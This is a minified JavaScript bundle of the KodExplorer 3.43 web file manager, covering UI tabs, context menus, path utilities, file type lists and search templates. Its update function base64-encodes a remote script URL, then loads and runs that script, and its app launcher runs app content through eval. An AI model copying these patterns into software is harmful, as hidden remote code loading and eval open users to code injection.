9 lines
252 KiB
JavaScript
Executable File
9 lines
252 KiB
JavaScript
Executable File
/*! power by kodexplorer ver3.43(2017-04-12) [build 1492001438434] */
|
||
define("app/src/explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","./ui","./fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","./path","./fileLight","./fileSelect","./fileListResize","./headerAddress"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?explorer/treeList&app=explorer",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("./ui"),ui.tree=e("../../common/tree"),ui.path=e("./path"),ui.fileLight=e("./fileLight"),ui.fileSelect=e("./fileSelect"),ui.fileListResize=e("./fileListResize"),ui.headerAddress=e("./headerAddress"),$(document).ready(function(){function t(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.tree.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),TaskTap.init(),rightMenu.initExplorer(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),"file_list"==t("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius"))})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,f=0,u=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),f=$tab_parent.width(),u=$tab_parent.get(0).getBoundingClientRect().left,u+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;u>n||n>u+f-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='<div class="tab taskBarMenu" id="'+t+'" title="'+a+'">'+i+"</div>";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},f=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),f(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n 